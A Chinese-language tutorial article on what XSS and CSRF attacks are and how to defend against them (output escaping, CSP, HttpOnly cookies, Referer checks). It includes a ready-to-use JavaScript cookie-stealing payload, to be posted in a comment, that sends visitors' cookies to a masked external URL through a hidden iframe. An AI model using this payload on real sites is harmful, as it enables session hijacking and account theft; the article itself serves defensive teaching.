首頁  >  文章  >  後端開發  >  XSS和CSRF攻擊怎麼防護

XSS和CSRF攻擊怎麼防護

小云云
小云云原創
2018-03-19 13:04:351927瀏覽


XSS:跨站腳本(Cross-site scripting,通常簡稱為XSS)是一種網站應用程式的安全漏洞攻擊,是程式碼注入的一種。它允許惡意用戶將程式碼注入到網頁上,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及使用者端腳本語言。

CSRF:跨站請求偽造(英文:Cross-site request forgery),也被稱為one-click attack 或session riding,通常縮寫為CSRF 或XSRF, 是一種挾制用戶在目前已登入的Web應用程式上執行非本意的操作的攻擊方法。

簡單理解就是:

XSS: 透過客戶端腳本語言(最常見如:JavaScript)
在一個論壇發文中發布一段惡意的JavaScript程式碼就是腳本注入,如果這個程式碼內容有請求外部伺服器,那麼就叫做XSS!

CSRF:又稱XSRF,冒充用戶發起請求(在用戶不知情的情況下),完成一些違背用戶意願的請求(如惡意發帖,刪帖,改密碼,發郵件等)。

怎麼做

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://********";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

如何防護

中心思想:一切的一切外部來源數據,都要我們服務端程式碼的過濾,才能讓他展示到頁面上,也就是說,一切外部資料都是非法的,而且一定要做好過濾。

1.盡量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()來輸出文字內容
2.必須要用innerHTML等等函數,則需要做類似php的htmlspecialchars的過濾

3.在輸出html時,加上Content Security Policy的Http Header
(作用:可以防止頁面被XSS攻擊時,嵌入第三方的腳本檔案等)
(缺陷:IE或低版本的瀏覽器可能不支援)
4.在設定Cookie時,加上HttpOnly參數
(作用:可防止頁面被XSS攻擊時,Cookie資訊被盜取,可相容至IE6)
(缺陷:網站本身的JS程式碼也無法操作Cookie,而且作用有限,只能保證Cookie的安全)
5.在開發API時,檢驗請求的Referer參數
(作用:可以在一定程度上防止CSRF攻擊)
(缺陷:IE或低版本的瀏覽器中,Referer參數可以被偽造)

相關建議:

PHP實作防止跨站和xss攻擊實例代碼

#JS寫XSS cookie stealer來竊取密碼方法

XSS及CSRF的詳細介紹

以上是XSS和CSRF攻擊怎麼防護的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn